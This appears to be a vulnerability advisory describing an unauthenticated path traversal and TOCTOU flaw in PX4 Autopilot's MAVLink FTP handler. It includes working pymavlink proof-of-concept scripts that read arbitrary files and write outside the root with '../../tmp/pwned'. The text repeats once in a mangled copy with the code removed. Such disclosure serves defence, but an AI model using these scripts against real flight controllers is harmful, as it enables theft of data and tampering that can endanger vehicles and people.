Summary
An unauthenticated path traversal vulnerability in the PX4 Autopilot MAVLink FTP implementation allows any MAVLink peer to read, write, create, delete, and rename arbitrary files on the flight controller filesystem without authentication. On NuttX targets, the FTP root directory is an empty string, meaning attacker-supplied paths are passed directly to filesystem syscalls with no prefix or sanitization for read operations. On POSIX targets (Linux companion computers, SITL), the write-path validation function unconditionally returns true, providing no protection. A TOCTOU race condition in the write validation on NuttX further allows bypassing the only existing guard. CVSS 9.8 Critical.
Details
The vulnerability exists in multiple interacting components of src/modules/mavlink/mavlink_ftp.cpp and src/modules/mavlink/mavlink_ftp.h.
1. Empty root directory on NuttX (mavlink_ftp.h:202-209)
The FTP root directory is set to PX4_ROOTFSDIR, which on NuttX is defined as "" (empty string) in platforms/common/include/px4_platform_common/defines.h:66:
// mavlink_ftp.h:207
static constexpr const char _root_dir[] = PX4_ROOTFSDIR; // "" on NuttX
static constexpr const int _root_dir_len = sizeof(_root_dir) - 1; // 0
The developers acknowledge this in a source code comment at mavlink_ftp.h:203:
// Note that requests can still fall outside of the root dir by using ../..
2. No path validation on read operations (mavlink_ftp.cpp:361-500, 502-553)
The read-path operations (_workList, _workOpen with O_RDONLY, _workRead, _workBurst, _workCalcFileCRC32) never call _validatePathIsWritable. They call only _constructPath, which prepends the (empty) root directory and does no canonicalization or traversal filtering:
// mavlink_ftp.cpp:504-536 -- _workOpen: NO path validation for ANY open mode
MavlinkFTP::ErrorCode
MavlinkFTP::_workOpen(PayloadHeader *payload, int oflag)
{
if (_session_info.fd >= 0) {
return kErrNoSessionsAvailable;
}
_constructPath(_work_buffer1, _work_buffer1_len, _data_as_cstring(payload));
// ... no _validatePathIsWritable call ...
int fd = ::open(_work_buffer1, oflag, PX4_O_MODE_666); // Opens attacker-controlled path
}
3. Write validation disabled on POSIX (mavlink_ftp.cpp:1150-1164)
The _validatePathIsWritable function is compiled out on all non-NuttX platforms:
bool MavlinkFTP::_validatePathIsWritable(const char *path)
{
#ifdef __PX4_NUTTX
if (strncmp(path, CONFIG_BOARD_ROOT_PATH "/", 12) != 0 || strstr(path, "/../") != nullptr) {
return false;
}
#endif
return true; // <-- Unconditionally returns true on POSIX (Linux, macOS)
}
4. TOCTOU bypass of NuttX write validation (mavlink_ftp.cpp:511, 623, 363)
On NuttX, write validation occurs in _workWrite (line 623) but NOT in _workOpen (line 511). Both share _work_buffer1, which is overwritten by any intervening operation such as _workList (line 363). An attacker can:
kCmdCreateFile with malicious path -> _workOpen creates file at attacker path (no validation), stores path in _work_buffer1
kCmdListDirectory with safe path -> _workList overwrites _work_buffer1 with safe path
kCmdWriteFile -> _workWrite validates _work_buffer1 (safe path) -> passes -> writes to malicious fd from step 1
5. No authentication (mavlink_ftp.cpp:135-136)
The FTP handler accepts messages from any system with matching or broadcast (0) target IDs:
if ((ftp_request.target_system == _getServerSystemId() || ftp_request.target_system == 0) &&
(ftp_request.target_component == _getServerComponentId() || ftp_request.target_component == 0)) {
_process_request(&ftp_request, msg->sysid, msg->compid);
}
PoC
Prerequisites:
- MAVLink communication channel to a PX4 flight controller (serial/USB/UDP/TCP)
- A MAVLink-capable tool such as
pymavlink
Reproducing arbitrary file read on NuttX:
from pymavlink import mavutil
import struct, time
# Connect to PX4 (adjust connection string)
mav = mavutil.mavlink_connection('udp:127.0.0.1:14540')
mav.wait_heartbeat()
TARGET_SYSTEM = mav.target_system
TARGET_COMPONENT = mav.target_component
def make_payload(seq, session, opcode, size, req_opcode, burst_complete, padding, offset, data=b''):
header = struct.pack('<HBBBBBxI', seq, session, opcode, size, req_opcode, burst_complete, offset)
return header + data
# Step 1: List root filesystem (NuttX: root_dir is "")
# kCmdListDirectory = 3
path = b'/fs\x00'
payload = make_payload(seq=0, session=0, opcode=3, size=len(path),
req_opcode=0, burst_complete=0, padding=0, offset=0, data=path)
ftp_msg = bytearray(251)
ftp_msg[:len(payload)] = payload
mav.mav.file_transfer_protocol_send(0, TARGET_SYSTEM, TARGET_COMPONENT, ftp_msg)
time.sleep(1)
# Step 2: Open /proc/version for reading (kCmdOpenFileRO = 4)
path = b'/proc/version\x00'
payload = make_payload(seq=1, session=0, opcode=4, size=len(path),
req_opcode=0, burst_complete=0, padding=0, offset=0, data=path)
ftp_msg = bytearray(251)
ftp_msg[:len(payload)] = payload
mav.mav.file_transfer_protocol_send(0, TARGET_SYSTEM, TARGET_COMPONENT, ftp_msg)
time.sleep(1)
# Step 3: Read file contents (kCmdReadFile = 5)
payload = make_payload(seq=2, session=0, opcode=5, size=239,
req_opcode=0, burst_complete=0, padding=0, offset=0)
ftp_msg = bytearray(251)
ftp_msg[:len(payload)] = payload
mav.mav.file_transfer_protocol_send(0, TARGET_SYSTEM, TARGET_COMPONENT, ftp_msg)
# Receive and print response
while True:
msg = mav.recv_match(type='FILE_TRANSFER_PROTOCOL', blocking=True, timeout=5)
if msg is None:
break
resp_payload = bytes(msg.payload)
opcode = resp_payload[3]
if opcode == 128: # kRspAck
size = resp_payload[4]
data = resp_payload[12:12+size]
print(f"Read {size} bytes: {data}")
break
elif opcode == 129: # kRspNak
print(f"NAK error: {resp_payload[12]}")
break
Reproducing arbitrary file write on POSIX (SITL/companion):
# Step 1: Create file outside root using path traversal
# kCmdCreateFile = 6
path = b'../../tmp/pwned\x00'
payload = make_payload(seq=0, session=0, opcode=6, size=len(path),
req_opcode=0, burst_complete=0, padding=0, offset=0, data=path)
ftp_msg = bytearray(251)
ftp_msg[:len(payload)] = payload
mav.mav.file_transfer_protocol_send(0, TARGET_SYSTEM, TARGET_COMPONENT, ftp_msg)
time.sleep(0.5)
# Step 2: Write data (kCmdWriteFile = 7)
data = b'EXPLOITED\x00'
payload = make_payload(seq=1, session=0, opcode=7, size=len(data),
req_opcode=0, burst_complete=0, padding=0, offset=0, data=data)
ftp_msg = bytearray(251)
ftp_msg[:len(payload)] = payload
mav.mav.file_transfer_protocol_send(0, TARGET_SYSTEM, TARGET_COMPONENT, ftp_msg)
# File /tmp/pwned is now created with content "EXPLOITED"
Impact
This is an unauthenticated arbitrary file read/write/delete vulnerability affecting all PX4 Autopilot deployments that expose a MAVLink interface (which is virtually all of them).
Who is impacted:
- All PX4 vehicles with any MAVLink link (telemetry radio, USB, WiFi, cellular, companion computer)
- Operators of drones, fixed-wing aircraft, VTOL, rovers, and submarines running PX4
What an attacker can do:
- Read any file on the flight controller (configuration, logs, cryptographic keys, parameters)
- Write/create arbitrary files (plant malicious scripts, modify configuration, overwrite firmware)
- Delete files (remove logs to cover tracks, corrupt filesystem to cause crashes)
- Exfiltrate mission plans, geofence configurations, and flight logs containing GPS tracks
- Overwrite parameter files to alter vehicle behavior (disable safety checks, change geofences)
Physical safety impact: Modifying configuration files or parameters could cause loss of vehicle control, crashes, or override geofence boundaries in populated areas.
Summary
An unauthenticated path traversal vulnerability in the PX4 Autopilot MAVLink FTP implementation allows any MAVLink peer to read, write, create, delete, and rename arbitrary files on the flight controller filesystem without authentication. On NuttX targets, the FTP root directory is an empty string, meaning attacker-supplied paths are passed directly to filesystem syscalls with no prefix or sanitization for read operations. On POSIX targets (Linux companion computers, SITL), the write-path validation function unconditionally returns
true, providing no protection. A TOCTOU race condition in the write validation on NuttX further allows bypassing the only existing guard. CVSS 9.8 Critical.Details
The vulnerability exists in multiple interacting components of
src/modules/mavlink/mavlink_ftp.cppandsrc/modules/mavlink/mavlink_ftp.h.1. Empty root directory on NuttX (
mavlink_ftp.h:202-209)The FTP root directory is set to
PX4_ROOTFSDIR, which on NuttX is defined as""(empty string) inplatforms/common/include/px4_platform_common/defines.h:66:The developers acknowledge this in a source code comment at
mavlink_ftp.h:203:// Note that requests can still fall outside of the root dir by using ../..2. No path validation on read operations (
mavlink_ftp.cpp:361-500, 502-553)The read-path operations (
_workList,_workOpenwithO_RDONLY,_workRead,_workBurst,_workCalcFileCRC32) never call_validatePathIsWritable. They call only_constructPath, which prepends the (empty) root directory and does no canonicalization or traversal filtering:3. Write validation disabled on POSIX (
mavlink_ftp.cpp:1150-1164)The
_validatePathIsWritablefunction is compiled out on all non-NuttX platforms:4. TOCTOU bypass of NuttX write validation (
mavlink_ftp.cpp:511, 623, 363)On NuttX, write validation occurs in
_workWrite(line 623) but NOT in_workOpen(line 511). Both share_work_buffer1, which is overwritten by any intervening operation such as_workList(line 363). An attacker can:kCmdCreateFilewith malicious path ->_workOpencreates file at attacker path (no validation), stores path in_work_buffer1kCmdListDirectorywith safe path ->_workListoverwrites_work_buffer1with safe pathkCmdWriteFile->_workWritevalidates_work_buffer1(safe path) -> passes -> writes to malicious fd from step 15. No authentication (
mavlink_ftp.cpp:135-136)The FTP handler accepts messages from any system with matching or broadcast (0) target IDs:
PoC
Prerequisites:
pymavlinkReproducing arbitrary file read on NuttX:
Reproducing arbitrary file write on POSIX (SITL/companion):
Impact
This is an unauthenticated arbitrary file read/write/delete vulnerability affecting all PX4 Autopilot deployments that expose a MAVLink interface (which is virtually all of them).
Who is impacted:
What an attacker can do:
Physical safety impact: Modifying configuration files or parameters could cause loss of vehicle control, crashes, or override geofence boundaries in populated areas.